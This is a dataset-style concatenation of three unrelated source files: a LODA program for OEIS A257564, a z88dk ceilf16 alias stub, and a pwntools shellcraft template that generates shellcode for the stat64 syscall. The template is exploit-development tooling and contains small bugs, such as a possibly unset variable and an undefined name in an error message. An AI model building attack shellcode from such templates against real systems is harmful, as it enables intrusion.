; A257564: Irregular triangle read by rows: T(n,k) = r(n+k)+r(n-k) with r(n) = (n-(n mod 2))/2 for n>=0 and -n<=k<=n.
; 0,1,0,1,2,1,2,1,2,3,2,3,2,3,2,3,4,3,4,3,4,3,4,3,4,5,4,5,4,5,4,5,4,5,4,5,6,5,6,5,6,5,6,5,6,5,6,5,6,7,6,7,6,7,6,7,6,7,6,7,6,7,6,7,8,7,8,7,8,7,8,7,8,7,8,7,8,7,8,7,8
add $0,1
mov $1,$0
mov $3,$0
lpb $1
sub $1,1
lpb $3
mov $2,$1
add $1,14
pow $2,2
mov $3,$2
lpe
sub $1,1
lpe
sub $1,1
|
SECTION code_fp_math16
PUBLIC ceilf16
EXTERN asm_f16_ceil
defc ceilf16 = asm_f16_ceil
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _ceilf16
EXTERN cm16_sdcc_ceil
defc _ceilf16 = cm16_sdcc_ceil
ENDIF
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
%>
<%docstring>stat64(file, buf) -> str
Invokes the syscall stat64.
See 'man 2 stat64' for more information.
Arguments:
file(char*): file
buf(stat64*): buf
Returns:
int
</%docstring>
<%page args="file=0, buf=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = ['file']
can_pushstr_array = []
argument_names = ['file', 'buf']
argument_values = [file, buf]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%r' % (name, arg))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, str):
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_stat64']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* stat64(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=('\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.